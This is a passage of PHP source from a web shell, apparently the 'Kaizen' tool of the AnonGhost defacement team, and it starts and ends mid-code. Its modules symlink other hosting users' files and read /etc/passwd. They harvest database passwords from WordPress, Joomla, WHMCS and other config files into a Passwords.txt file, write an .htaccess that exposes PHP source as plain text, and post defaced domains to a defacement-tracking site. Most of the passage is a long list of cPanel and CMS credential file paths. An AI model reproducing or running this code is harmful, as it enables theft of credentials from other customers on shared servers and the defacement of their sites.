@symlink('/home4/'.$user.'/public_html/Host/bb-config.php',$user.'-BoxBilling.txt');
@symlink('/home4/'.$user.'/public_html/supportes/bb-config.php',$user.'-BoxBilling.txt');
@symlink('/home4/'.$user.'/public_html/support/bb-config.php',$user.'-BoxBilling.txt');
@symlink('/home4/'.$user.'/public_html/hosting/bb-config.php',$user.'-BoxBilling.txt');
@symlink('/home4/'.$user.'/public_html/cart/bb-config.php',$user.'-BoxBilling.txt');
@symlink('/home4/'.$user.'/public_html/order/bb-config.php',$user.'-BoxBilling.txt');
@symlink('/home4/'.$user.'/public_html/client/bb-config.php',$user.'-BoxBilling.txt');
@symlink('/home4/'.$user.'/public_html/clients/bb-config.php',$user.'-BoxBilling.txt');
@symlink('/home4/'.$user.'/public_html/cliente/bb-config.php',$user.'-BoxBilling.txt');
@symlink('/home4/'.$user.'/public_html/clientes/bb-config.php',$user.'-BoxBilling.txt');
@symlink('/home4/'.$user.'/public_html/billing/bb-config.php',$user.'-BoxBilling.txt');
@symlink('/home4/'.$user.'/public_html/billings/bb-config.php',$user.'-BoxBilling.txt');
@symlink('/home4/'.$user.'/public_html/my/bb-config.php',$user.'-BoxBilling.txt');
@symlink('/home4/'.$user.'/public_html/secure/bb-config.php',$user.'-BoxBilling.txt');
@symlink('/home4/'.$user.'/public_html/support/order/bb-config.php',$user.'-BoxBilling.txt');
@symlink('/home4/'.$user.'/public_html/includes/dist-configure.php',$user.'-Zencart.txt');
@symlink('/home4/'.$user.'/public_html/zencart/includes/dist-configure.php',$user.'-Zencart.txt');
@symlink('/home4/'.$user.'/public_html/products/includes/dist-configure.php',$user.'-Zencart.txt');
@symlink('/home4/'.$user.'/public_html/cart/includes/dist-configure.php',$user.'-Zencart.txt');
@symlink('/home4/'.$user.'/public_html/shop/includes/dist-configure.php',$user.'-Zencart.txt');
@symlink('/home4/'.$user.'/public_html/includes/iso4217.php',$user.'-Hostbills.txt');
@symlink('/home4/'.$user.'/public_html/hostbills/includes/iso4217.php',$user.'-Hostbills.txt');
@symlink('/home4/'.$user.'/public_html/host/includes/iso4217.php',$user.'-Hostbills.txt');
@symlink('/home4/'.$user.'/public_html/Host/includes/iso4217.php',$user.'-Hostbills.txt');
@symlink('/home4/'.$user.'/public_html/supportes/includes/iso4217.php',$user.'-Hostbills.txt');
@symlink('/home4/'.$user.'/public_html/support/includes/iso4217.php',$user.'-Hostbills.txt');
@symlink('/home4/'.$user.'/public_html/hosting/includes/iso4217.php',$user.'-Hostbills.txt');
@symlink('/home4/'.$user.'/public_html/cart/includes/iso4217.php',$user.'-Hostbills.txt');
@symlink('/home4/'.$user.'/public_html/order/includes/iso4217.php',$user.'-Hostbills.txt');
@symlink('/home4/'.$user.'/public_html/client/includes/iso4217.php',$user.'-Hostbills.txt');
@symlink('/home4/'.$user.'/public_html/clients/includes/iso4217.php',$user.'-Hostbills.txt');
@symlink('/home4/'.$user.'/public_html/cliente/includes/iso4217.php',$user.'-Hostbills.txt');
@symlink('/home4/'.$user.'/public_html/clientes/includes/iso4217.php',$user.'-Hostbills.txt');
@symlink('/home4/'.$user.'/public_html/billing/includes/iso4217.php',$user.'-Hostbills.txt');
@symlink('/home4/'.$user.'/public_html/billings/includes/iso4217.php',$user.'-Hostbills.txt');
@symlink('/home4/'.$user.'/public_html/my/includes/iso4217.php',$user.'-Hostbills.txt');
@symlink('/home4/'.$user.'/public_html/secure/includes/iso4217.php',$user.'-Hostbills.txt');
@symlink('/home4/'.$user.'/public_html/support/order/includes/iso4217.php',$user.'-Hostbills.txt');
}
//password grab
function entre2v2($text,$marqueurDebutLien,$marqueurFinLien)
{
$ar0=explode($marqueurDebutLien, $text);
$ar1=explode($marqueurFinLien, $ar0[1]);
$ar=trim($ar1[0]);
return $ar;
}
$ffile=fopen('Passwords.txt','a+');
$r= 'http://'.$_SERVER['SERVER_NAME'].dirname($_SERVER['SCRIPT_NAME'])."/Symconf/";
$re=$r;
$confi=array("-Wordpress.txt","-Joomla.txt","-WHMCS.txt","-Vbulletin.txt","-Other.txt","-Zencart.txt","-Hostbills.txt","-SMF.txt","-Drupal.txt","-OsCommerce.txt","-MyBB.txt","-PHPBB.txt","-IPB.txt","-BoxBilling.txt");
$users=file("/etc/passwd");
foreach($users as $user)
{
$str=explode(":",$user);
$usersss=$str[0];
foreach($confi as $co)
{
$uurl=$re.$usersss.$co;
$uel=$uurl;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $uel);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8');
$result['EXE'] = curl_exec($ch);
curl_close($ch);
$uxl=$result['EXE'];
if($uxl && preg_match('/table_prefix/i',$uxl))
{
//Wordpress
$dbp=entre2v2($uxl,"DB_PASSWORD', '","');");
if(!empty($dbp))
$pass=$dbp."
";
fwrite($ffile,$pass);
}
elseif($uxl && preg_match('/cc_encryption_hash/i',$uxl))
{
//WHMCS
$dbp=entre2v2($uxl,"db_password = '","';");
if(!empty($dbp))
$pass=$dbp."
";
fwrite($ffile,$pass);
}
elseif($uxl && preg_match('/dbprefix/i',$uxl))
{
//Joomla
$db=entre2v2($uxl,"password = '","';");
if(!empty($db))
$pass=$db."
";
fwrite($ffile,$pass);
}
elseif($uxl && preg_match('/admincpdir/i',$uxl))
{
//Vbulletin
$db=entre2v2($uxl,"password'] = '","';");
if(!empty($db))
$pass=$db."
";
fwrite($ffile,$pass);
}
elseif($uxl && preg_match('/DB_DATABASE/i',$uxl))
{
//Other
$db=entre2v2($uxl,"DB_PASSWORD', '","');");
if(!empty($db))
$pass=$db."
";
fwrite($ffile,$pass);
}
elseif($uxl && preg_match('/dbpass/i',$uxl))
{
//Other
$db=entre2v2($uxl,"dbpass = '","';");
if(!empty($db))
$pass=$db."
";
fwrite($ffile,$pass);
}
elseif($uxl && preg_match('/dbpass/i',$uxl))
{
//Other
$db=entre2v2($uxl,"dbpass = '","';");
if(!empty($db))
$pass=$db."
";
fwrite($ffile,$pass);
}
elseif($uxl && preg_match('/dbpass/i',$uxl))
{
//Other
$db=entre2v2($uxl,"dbpass = \"","\";");
if(!empty($db))
$pass=$db."
";
fwrite($ffile,$pass);
}
}
}
echo "<center>
<a href=\"Symconf/root/\">Root Server</a>
<br><a href=\"Symconf/Passwords.txt\">Passwords</a>
<br><a href=\"Symconf/\">Configurations</a></center>";
}
else
{
echo "<center>
<form method=\"POST\">
<textarea name=\"passwd\" class='area' rows='15' cols='60'>";
$file = '/etc/passwd';
$read = @fopen($file, 'r');
if ($read){
$body = @fread($read, @filesize($file));
echo "".htmlentities($body)."";
}
elseif(!$read)
{
$read = @show_source($file) ;
}
elseif(!$read)
{
$read = @highlight_file($file);
}
elseif(!$read)
{
for($uid=0;$uid<1000;$uid++)
{
$ara = posix_getpwuid($uid);
if (!empty($ara))
{
while (list ($key, $val) = each($ara))
{
print "$val:";
}
print "
";
}}}
flush();
echo "</textarea>
<p><input name=\"m\" size=\"80\" value=\"Start\" type=\"submit\"/></p>
</form></center>";
}
}
}
elseif($_GET['do'] == 'symlink') {
$full = str_replace($_SERVER['DOCUMENT_ROOT'], "", $dir);
$d0mains = @file("/etc/named.conf");
##httaces
if($d0mains){
@mkdir("Sym",0777);
@chdir("Sym");
@exe("ln -s / root");
$file3 = 'Options Indexes FollowSymLinks
DirectoryIndex Kaizen.htm
AddType text/plain .php
AddHandler text/plain .php
Satisfy Any';
$fp3 = fopen('.htaccess','w');
$fw3 = fwrite($fp3,$file3);@fclose($fp3);
echo "
<table align=center border=1 style='width:60%;border-color:#333333;'>
<tr>
<td align=center><font size=2>S. No.</font></td>
<td align=center><font size=2>Domains</font></td>
<td align=center><font size=2>Users</font></td>
<td align=center><font size=2>Symlink</font></td>
</tr>";
$dcount = 1;
foreach($d0mains as $d0main){
if(eregi("zone",$d0main)){preg_match_all('#zone "(.*)"#', $d0main, $domains);
flush();
if(strlen(trim($domains[1][0])) > 2){
$user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
echo "<tr align=center><td><font size=2>" . $dcount . "</font></td>
<td align=left><a href=http://www.".$domains[1][0]."/><font class=txt>".$domains[1][0]."</font></a></td>
<td>".$user['name']."</td>
<td><a href='$full/Sym/root/home/".$user['name']."/public_html' target='_blank'><font class=txt>Symlink</font></a></td></tr>";
flush();
$dcount++;}}}
echo "</table>";
}else{
$TEST=@file('/etc/passwd');
if ($TEST){
@mkdir("Sym",0777);
@chdir("Sym");
exe("ln -s / root");
$file3 = 'Options Indexes FollowSymLinks
DirectoryIndex Kaizen.htm
AddType text/plain .php
AddHandler text/plain .php
Satisfy Any';
$fp3 = fopen('.htaccess','w');
$fw3 = fwrite($fp3,$file3);
@fclose($fp3);
echo "
<table align=center border=1><tr>
<td align=center><font size=3>S. No.</font></td>
<td align=center><font size=3>Users</font></td>
<td align=center><font size=3>Symlink</font></td></tr>";
$dcount = 1;
$file = fopen("/etc/passwd", "r") or exit("Unable to open file!");
while(!feof($file)){
$s = fgets($file);
$matches = array();
$t = preg_match('/\/(.*?)\:\//s', $s, $matches);
$matches = str_replace("home/","",$matches[1]);
if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
continue;
echo "<tr><td align=center><font size=2>" . $dcount . "</td>
<td align=center><font class=txt>" . $matches . "</td>";
echo "<td align=center><font class=txt><a href=$full/Sym/root/home/" . $matches . "/public_html target='_blank'>Symlink</a></td></tr>";
$dcount++;}fclose($file);
echo "</table>";}else{if($os != "Windows"){@mkdir("Sym",0777);@chdir("Sym");@exe("ln -s / root");$file3 = '
Options Indexes FollowSymLinks
DirectoryIndex Kaizen.htm
AddType text/plain .php
AddHandler text/plain .php
Satisfy Any
';
$fp3 = fopen('.htaccess','w');
$fw3 = fwrite($fp3,$file3);@fclose($fp3);
echo "
<div class='mybox'><h2 class='k2ll33d2'>server symlinker</h2>
<table align=center border=1><tr>
<td align=center><font size=3>ID</font></td>
<td align=center><font size=3>Users</font></td>
<td align=center><font size=3>Symlink</font></td></tr>";
$temp = "";$val1 = 0;$val2 = 1000;
for(;$val1 <= $val2;$val1++) {$uid = @posix_getpwuid($val1);
if ($uid)$temp .= join(':',$uid)."
";}
echo '<br/>';$temp = trim($temp);$file5 =
fopen("test.txt","w");
fputs($file5,$temp);
fclose($file5);$dcount = 1;$file =
fopen("test.txt", "r") or exit("Unable to open file!");
while(!feof($file)){$s = fgets($file);$matches = array();
$t = preg_match('/\/(.*?)\:\//s', $s, $matches);$matches = str_replace("home/","",$matches[1]);
if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
continue;
echo "<tr><td align=center><font size=2>" . $dcount . "</td>
<td align=center><font class=txt>" . $matches . "</td>";
echo "<td align=center><font class=txt><a href=$full/Sym/root/home/" . $matches . "/public_html target='_blank'>Symlink</a></td></tr>";
$dcount++;}
fclose($file);
echo "</table></div></center>";unlink("test.txt");
} else
echo "<center><font size=3>Cannot create Symlink</font></center>";
}
}
}
elseif($_GET['do'] == 'defacerid') {
echo "<center><form method='post'>
<u>Defacer</u>: <br>
<input type='text' name='hekel' size='50' value='Kaizen'><br>
<u>Team</u>: <br>
<input type='text' name='tim' size='50' value='AnonGhost'><br>
<u>Domains</u>: <br>
<textarea style='width: 450px; height: 150px;' name='sites'></textarea><br>
<input type='submit' name='go' value='Submit' style='width: 450px;'>
</form>";
$site = explode("
", $_POST['sites']);
$go = $_POST['go'];
$hekel = $_POST['hekel'];
$tim = $_POST['tim'];
if($go) {
foreach($site as $sites) {
$zh = $sites;
$form_url = "https://www.defacer.id/notify";
$data_to_post = array();
$data_to_post['attacker'] = "$hekel";
$data_to_post['team'] = "$tim";
$data_to_post['poc'] = 'SQL Injection';
$data_to_post['url'] = "$zh";
$curl = curl_init();
curl_setopt($curl,CURLOPT_URL, $form_url);
curl_setopt($curl,CURLOPT_POST, sizeof($data_to_post));
curl_setopt($curl, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"); //msnbot/1.0 (+http://search.msn.com/msnbot.htm)
curl_setopt($curl,CURLOPT_POSTFIELDS, $data_to_post);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_REFERER, 'https://defacer.id/notify.html');
$result = curl_exec($curl);
echo $result;
curl_close($curl);
echo "<br>";
}
}
}
elseif($_GET['do'] == 'config') {
if($_POST){
$passwd = $_POST['passwd'];
mkdir("Kz_config", 0777);
$isi_htc = "Options all
Require None
Satisfy Any";
$htc = fopen("Kz_config/.htaccess","w");
fwrite($htc, $isi_htc);
preg_match_all('/(.*?):x:/', $passwd, $user_config);
foreach($user_config[1] as $user_cox) {
$user_config_dir = "/home/$user_cox/public_html/";
if(is_readable($user_config_dir)) {
$grab_config = array(
"/home/$user_cox/.my.cnf" => "cpanel",
"/home/$user_cox/.accesshash" => "WHM-accesshash",
"/home/$user_cox/public_html/bw-configs/config.ini" => "BosWeb",
"/home/$user_cox/public_html/config/koneksi.php" => "Lokomedia",
"/home/$user_cox/public_html/lokomedia/config/koneksi.php" => "Lokomedia",
"/home/$user_cox/public_html/clientarea/configuration.php" => "WHMCS",
"/home/$user_cox/public_html/whmcs/configuration.php" => "WHMCS",
"/home/$user_cox/public_html/forum/config.php" => "phpBB",
"/home/$user_cox/public_html/sites/default/settings.php" => "Drupal",
"/home/$user_cox/public_html/config/settings.inc.php" => "PrestaShop",
"/home/$user_cox/public_html/app/etc/local.xml" => "Magento",
"/home/$user_cox/public_html/admin/config.php" => "OpenCart",
"/home/$user_cox/public_html/slconfig.php" => "Sitelok",
"/home/$user_cox/public_html/application/config/database.php" => "Ellislab",
"/home/$user_cox/public_html/whm/configuration.php" => "WHMCS",
"/home/$user_cox/public_html/whmc/WHM/configuration.ph" => "WHMC",
"/home/$user_cox/public_html/central/configuration.php" => "WHM Central",
"/home/$user_cox/public_html/whm/WHMCS/configuration.php" => "WHMCS",
"/home/$user_cox/public_html/whm/whmcs/configuration.php" => "WHMCS",
"/home/$user_cox/public_html/submitticket.php" => "WHMCS",
"/home/$user_cox/public_html/configuration.php" => "Joomla",
"/home/$user_cox/public_html/Joomla/configuration.php" => "JoomlaJoomla",
"/home/$user_cox/public_html/joomla/configuration.php" => "JoomlaJoomla",
"/home/$user_cox/public_html/JOOMLA/configuration.php" => "JoomlaJoomla",
"/home/$user_cox/public_html/Home/configuration.php" => "JoomlaHome",
"/home/$user_cox/public_html/HOME/configuration.php" => "JoomlaHome",
"/home/$user_cox/public_html/home/configuration.php" => "JoomlaHome",
"/home/$user_cox/public_html/NEW/configuration.php" => "JoomlaNew",
"/home/$user_cox/public_html/New/configuration.php" => "JoomlaNew",
"/home/$user_cox/public_html/new/configuration.php" => "JoomlaNew",
"/home/$user_cox/public_html/News/configuration.php" => "JoomlaNews",
"/home/$user_cox/public_html/NEWS/configuration.php" => "JoomlaNews",
"/home/$user_cox/public_html/news/configuration.php" => "JoomlaNews",
"/home/$user_cox/public_html/Cms/configuration.php" => "JoomlaCms",
"/home/$user_cox/public_html/CMS/configuration.php" => "JoomlaCms",
"/home/$user_cox/public_html/cms/configuration.php" => "JoomlaCms",
"/home/$user_cox/public_html/Main/configuration.php" => "JoomlaMain",
"/home/$user_cox/public_html/MAIN/configuration.php" => "JoomlaMain",
"/home/$user_cox/public_html/main/configuration.php" => "JoomlaMain",
"/home/$user_cox/public_html/Blog/configuration.php" => "JoomlaBlog",
"/home/$user_cox/public_html/BLOG/configuration.php" => "JoomlaBlog",
"/home/$user_cox/public_html/blog/configuration.php" => "JoomlaBlog",
"/home/$user_cox/public_html/Blogs/configuration.php" => "JoomlaBlogs",
"/home/$user_cox/public_html/BLOGS/configuration.php" => "JoomlaBlogs",
"/home/$user_cox/public_html/blogs/configuration.php" => "JoomlaBlogs",
"/home/$user_cox/public_html/beta/configuration.php" => "JoomlaBeta",
"/home/$user_cox/public_html/Beta/configuration.php" => "JoomlaBeta",
"/home/$user_cox/public_html/BETA/configuration.php" => "JoomlaBeta",
"/home/$user_cox/public_html/PRESS/configuration.php" => "JoomlaPress",
"/home/$user_cox/public_html/Press/configuration.php" => "JoomlaPress",
"/home/$user_cox/public_html/press/configuration.php" => "JoomlaPress",
"/home/$user_cox/public_html/Wp/configuration.php" => "JoomlaWp",
"/home/$user_cox/public_html/wp/configuration.php" => "JoomlaWp",
"/home/$user_cox/public_html/WP/configuration.php" => "JoomlaWP",
"/home/$user_cox/public_html/portal/configuration.php" => "JoomlaPortal",
"/home/$user_cox/public_html/PORTAL/configuration.php" => "JoomlaPortal",
"/home/$user_cox/public_html/Portal/configuration.php" => "JoomlaPortal",
"/home/$user_cox/public_html/wp-config.php" => "WordPress",
"/home/$user_cox/public_html/wordpress/wp-config.php" => "WordPressWordpress",
"/home/$user_cox/public_html/Wordpress/wp-config.php" => "WordPressWordpress",
"/home/$user_cox/public_html/WORDPRESS/wp-config.php" => "WordPressWordpress",
"/home/$user_cox/public_html/Home/wp-config.php" => "WordPressHome",
"/home/$user_cox/public_html/HOME/wp-config.php" => "WordPressHome",
"/home/$user_cox/public_html/home/wp-config.php" => "WordPressHome",
"/home/$user_cox/public_html/NEW/wp-config.php" => "WordPressNew",
"/home/$user_cox/public_html/New/wp-config.php" => "WordPressNew",
"/home/$user_cox/public_html/new/wp-config.php" => "WordPressNew",
"/home/$user_cox/public_html/News/wp-config.php" => "WordPressNews",
"/home/$user_cox/public_html/NEWS/wp-config.php" => "WordPressNews",
"/home/$user_cox/public_html/news/wp-config.php" => "WordPressNews",
"/home/$user_cox/public_html/Cms/wp-config.php" => "WordPressCms",
"/home/$user_cox/public_html/CMS/wp-config.php" => "WordPressCms",
"/home/$user_cox/public_html/cms/wp-config.php" => "WordPressCms",
"/home/$user_cox/public_html/Main/wp-config.php" => "WordPressMain",
"/home/$user_cox/public_html/MAIN/wp-config.php" => "WordPressMain",
"/home/$user_cox/public_html/main/wp-config.php" => "WordPressMain",
"/home/$user_cox/public_html/Blog/wp-config.php" => "WordPressBlog",
"/home/$user_cox/public_html/BLOG/wp-config.php" => "WordPressBlog",
"/home/$user_cox/public_html/blog/wp-config.php" => "WordPressBlog",
"/home/$user_cox/public_html/Blogs/wp-config.php" => "WordPressBlogs",
"/home/$user_cox/public_html/BLOGS/wp-config.php" => "WordPressBlogs",
"/home/$user_cox/public_html/blogs/wp-config.php" => "WordPressBlogs",
"/home/$user_cox/public_html/beta/wp-config.php" => "WordPressBeta",
"/home/$user_cox/public_html/Beta/wp-config.php" => "WordPressBeta",
"/home/$user_cox/public_html/BETA/wp-config.php" => "WordPressBeta",
"/home/$user_cox/public_html/PRESS/wp-config.php" => "WordPressPress",
"/home/$user_cox/public_html/Press/wp-config.php" => "WordPressPress",
"/home/$user_cox/public_html/press/wp-config.php" => "WordPressPress",
"/home/$user_cox/public_html/Wp/wp-config.php" => "WordPressWp",
"/home/$user_cox/public_html/wp/wp-config.php" => "WordPressWp",
"/home/$user_cox/public_html/WP/wp-config.php" => "WordPressWP",
"/home/$user_cox/public_html/portal/wp-config.php" => "WordPressPortal",
"/home/$user_cox/public_html/PORTAL/wp-config.php" => "WordPressPortal",
"/home/$user_cox/public_html/Portal/wp-config.php" => "WordPressPortal",
"/home1/$user_cox/.my.cnf" => "cpanel",
"/home1/$user_cox/.accesshash" => "WHM-accesshash",
"/home1/$user_cox/public_html/bw-configs/config.ini" => "BosWeb",
"/home1/$user_cox/public_html/config/koneksi.php" => "Lokomedia",
"/home1/$user_cox/public_html/lokomedia/config/koneksi.php" => "Lokomedia",
"/home1/$user_cox/public_html/clientarea/configuration.php" => "WHMCS",
"/home1/$user_cox/public_html/whmcs/configuration.php" => "WHMCS",
"/home1/$user_cox/public_html/forum/config.php" => "phpBB",
"/home1/$user_cox/public_html/sites/default/settings.php" => "Drupal",
"/home1/$user_cox/public_html/config/settings.inc.php" => "PrestaShop",
"/home1/$user_cox/public_html/app/etc/local.xml" => "Magento",
"/home1/$user_cox/public_html/admin/config.php" => "OpenCart",
"/home1/$user_cox/public_html/slconfig.php" => "Sitelok",
"/home1/$user_cox/public_html/application/config/database.php" => "Ellislab",
"/home1/$user_cox/public_html/whm/configuration.php" => "WHMCS",
"/home1/$user_cox/public_html/whmc/WHM/configuration.ph" => "WHMC",
"/home1/$user_cox/public_html/central/configuration.php" => "WHM Central",
"/home1/$user_cox/public_html/whm/WHMCS/configuration.php" => "WHMCS",
"/home1/$user_cox/public_html/whm/whmcs/configuration.php" => "WHMCS",
"/home1/$user_cox/public_html/submitticket.php" => "WHMCS",
"/home1/$user_cox/public_html/configuration.php" => "Joomla",
"/home1/$user_cox/public_html/Joomla/configuration.php" => "JoomlaJoomla",
"/home1/$user_cox/public_html/joomla/configuration.php" => "JoomlaJoomla",
"/home1/$user_cox/public_html/JOOMLA/configuration.php" => "JoomlaJoomla",
"/home1/$user_cox/public_html/Home/configuration.php" => "JoomlaHome",
"/home1/$user_cox/public_html/HOME/configuration.php" => "JoomlaHome",
"/home1/$user_cox/public_html/home/configuration.php" => "JoomlaHome",
"/home1/$user_cox/public_html/NEW/configuration.php" => "JoomlaNew",
"/home1/$user_cox/public_html/New/configuration.php" => "JoomlaNew",
"/home1/$user_cox/public_html/new/configuration.php" => "JoomlaNew",
"/home1/$user_cox/public_html/News/configuration.php" => "JoomlaNews",
"/home1/$user_cox/public_html/NEWS/configuration.php" => "JoomlaNews",
"/home1/$user_cox/public_html/news/configuration.php" => "JoomlaNews",
"/home1/$user_cox/public_html/Cms/configuration.php" => "JoomlaCms",
"/home1/$user_cox/public_html/CMS/configuration.php" => "JoomlaCms",
"/home1/$user_cox/public_html/cms/configuration.php" => "JoomlaCms",
"/home1/$user_cox/public_html/Main/configuration.php" => "JoomlaMain",
"/home1/$user_cox/public_html/MAIN/configuration.php" => "JoomlaMain",
"/home1/$user_cox/public_html/main/configuration.php" => "JoomlaMain",
"/home1/$user_cox/public_html/Blog/configuration.php" => "JoomlaBlog",
"/home1/$user_cox/public_html/BLOG/configuration.php" => "JoomlaBlog",
"/home1/$user_cox/public_html/blog/configuration.php" => "JoomlaBlog",
"/home1/$user_cox/public_html/Blogs/configuration.php" => "JoomlaBlogs",
"/home1/$user_cox/public_html/BLOGS/configuration.php" => "JoomlaBlogs",
"/home1/$user_cox/public_html/blogs/configuration.php" => "JoomlaBlogs",
"/home1/$user_cox/public_html/beta/configuration.php" => "JoomlaBeta",
"/home1/$user_cox/public_html/Beta/configuration.php" => "JoomlaBeta",
"/home1/$user_cox/public_html/BETA/configuration.php" => "JoomlaBeta",
"/home1/$user_cox/public_html/PRESS/configuration.php" => "JoomlaPress",
"/home1/$user_cox/public_html/Press/configuration.php" => "JoomlaPress",
"/home1/$user_cox/public_html/press/configuration.php" => "JoomlaPress",
"/home1/$user_cox/public_html/Wp/configuration.php" => "JoomlaWp",
"/home1/$user_cox/public_html/wp/configuration.php" => "JoomlaWp",
"/home1/$user_cox/public_html/WP/configuration.php" => "JoomlaWP",
"/home1/$user_cox/public_html/portal/configuration.php" => "JoomlaPortal",
"/home1/$user_cox/public_html/PORTAL/configuration.php" => "JoomlaPortal",
"/home1/$user_cox/public_html/Portal/configuration.php" => "JoomlaPortal",
"/home1/$user_cox/public_html/wp-config.php" => "WordPress",
"/home1/$user_cox/public_html/wordpress/wp-config.php" => "WordPressWordpress",
"/home1/$user_cox/public_html/Wordpress/wp-config.php" => "WordPressWordpress",
"/home1/$user_cox/public_html/WORDPRESS/wp-config.php" => "WordPressWordpress",
"/home1/$user_cox/public_html/Home/wp-config.php" => "WordPressHome",
"/home1/$user_cox/public_html/HOME/wp-config.php" => "WordPressHome",
"/home1/$user_cox/public_html/home/wp-config.php" => "WordPressHome",
"/home1/$user_cox/public_html/NEW/wp-config.php" => "WordPressNew",
"/home1/$user_cox/public_html/New/wp-config.php" => "WordPressNew",
"/home1/$user_cox/public_html/new/wp-config.php" => "WordPressNew",
"/home1/$user_cox/public_html/News/wp-config.php" => "WordPressNews",
"/home1/$user_cox/public_html/NEWS/wp-config.php" => "WordPressNews",
"/home1/$user_cox/public_html/news/wp-config.php" => "WordPressNews",
"/home1/$user_cox/public_html/Cms/wp-config.php" => "WordPressCms",
"/home1/$user_cox/public_html/CMS/wp-config.php" => "WordPressCms",
"/home1/$user_cox/public_html/cms/wp-config.php" => "WordPressCms",
"/home1/$user_cox/public_html/Main/wp-config.php" => "WordPressMain",
"/home1/$user_cox/public_html/MAIN/wp-config.php" => "WordPressMain",
"/home1/$user_cox/public_html/main/wp-config.php" => "WordPressMain",
"/home1/$user_cox/public_html/Blog/wp-config.php" => "WordPressBlog",
"/home1/$user_cox/public_html/BLOG/wp-config.php" => "WordPressBlog",
"/home1/$user_cox/public_html/blog/wp-config.php" => "WordPressBlog",
"/home1/$user_cox/public_html/Blogs/wp-config.php" => "WordPressBlogs",
"/home1/$user_cox/public_html/BLOGS/wp-config.php" => "WordPressBlogs",
"/home1/$user_cox/public_html/blogs/wp-config.php" => "WordPressBlogs",
"/home1/$user_cox/public_html/beta/wp-config.php" => "WordPressBeta",
"/home1/$user_cox/public_html/Beta/wp-config.php" => "WordPressBeta",
"/home1/$user_cox/public_html/BETA/wp-config.php" => "WordPressBeta",
"/home1/$user_cox/public_html/PRESS/wp-config.php" => "WordPressPress",
"/home1/$user_cox/public_html/Press/wp-config.php" => "WordPressPress",
"/home1/$user_cox/public_html/press/wp-config.php" => "WordPressPress",
"/home1/$user_cox/public_html/Wp/wp-config.php" => "WordPressWp",
"/home1/$user_cox/public_html/wp/wp-config.php" => "WordPressWp",
"/home1/$user_cox/public_html/WP/wp-config.php" => "WordPressWP",
"/home1/$user_cox/public_html/portal/wp-config.php" => "WordPressPortal",
"/home1/$user_cox/public_html/PORTAL/wp-config.php" => "WordPressPortal",
"/home1/$user_cox/public_html/Portal/wp-config.php" => "WordPressPortal",
"/home2/$user_cox/.my.cnf" => "cpanel",
"/home2/$user_cox/.accesshash" => "WHM-accesshash",
"/home2/$user_cox/public_html/bw-configs/config.ini" => "BosWeb",
"/home2/$user_cox/public_html/config/koneksi.php" => "Lokomedia",
"/home2/$user_cox/public_html/lokomedia/config/koneksi.php" => "Lokomedia",
"/home2/$user_cox/public_html/clientarea/configuration.php" => "WHMCS",
"/home2/$user_cox/public_html/whmcs/configuration.php" => "WHMCS",
"/home2/$user_cox/public_html/forum/config.php" => "phpBB",
"/home2/$user_cox/public_html/sites/default/settings.php" => "Drupal",
"/home2/$user_cox/public_html/config/settings.inc.php" => "PrestaShop",
"/home2/$user_cox/public_html/app/etc/local.xml" => "Magento",
"/home2/$user_cox/public_html/admin/config.php" => "OpenCart",
"/home2/$user_cox/public_html/slconfig.php" => "Sitelok",
"/home2/$user_cox/public_html/application/config/database.php" => "Ellislab",
"/home2/$user_cox/public_html/whm/configuration.php" => "WHMCS",
"/home2/$user_cox/public_html/whmc/WHM/configuration.ph" => "WHMC",
"/home2/$user_cox/public_html/central/configuration.php" => "WHM Central",
"/home2/$user_cox/public_html/whm/WHMCS/configuration.php" => "WHMCS",
"/home2/$user_cox/public_html/whm/whmcs/configuration.php" => "WHMCS",
"/home2/$user_cox/public_html/submitticket.php" => "WHMCS",
"/home2/$user_cox/public_html/configuration.php" => "Joomla",
"/home2/$user_cox/public_html/Joomla/configuration.php" => "JoomlaJoomla",
"/home2/$user_cox/public_html/joomla/configuration.php" => "JoomlaJoomla",
"/home2/$user_cox/public_html/JOOMLA/configuration.php" => "JoomlaJoomla",
"/home2/$user_cox/public_html/Home/configuration.php" => "JoomlaHome",
"/home2/$user_cox/public_html/HOME/configuration.php" => "JoomlaHome",
"/home2/$user_cox/public_html/home/configuration.php" => "JoomlaHome",
"/home2/$user_cox/public_html/NEW/configuration.php" => "JoomlaNew",
"/home2/$user_cox/public_html/New/configuration.php" => "JoomlaNew",
"/home2/$user_cox/public_html/new/configuration.php" => "JoomlaNew",
"/home2/$user_cox/public_html/News/configuration.php" => "JoomlaNews",
"/home2/$user_cox/public_html/NEWS/configuration.php" => "JoomlaNews",
"/home2/$user_cox/public_html/news/configuration.php" => "JoomlaNews",
"/home2/$user_cox/public_html/Cms/configuration.php" => "JoomlaCms",
"/home2/$user_cox/public_html/CMS/configuration.php" => "JoomlaCms",
"/home2/$user_cox/public_html/cms/configuration.php" => "JoomlaCms",
"/home2/$user_cox/public_html/Main/configuration.php" => "JoomlaMain",
"/home2/$user_cox/public_html/MAIN/configuration.php" => "JoomlaMain",
"/home2/$user_cox/public_html/main/configuration.php" => "JoomlaMain",
"/home2/$user_cox/public_html/Blog/configuration.php" => "JoomlaBlog",
"/home2/$user_cox/public_html/BLOG/configuration.php" => "JoomlaBlog",
"/home2/$user_cox/public_html/blog/configuration.php" => "JoomlaBlog",
"/home2/$user_cox/public_html/Blogs/configuration.php" => "JoomlaBlogs",
"/home2/$user_cox/public_html/BLOGS/configuration.php" => "JoomlaBlogs",
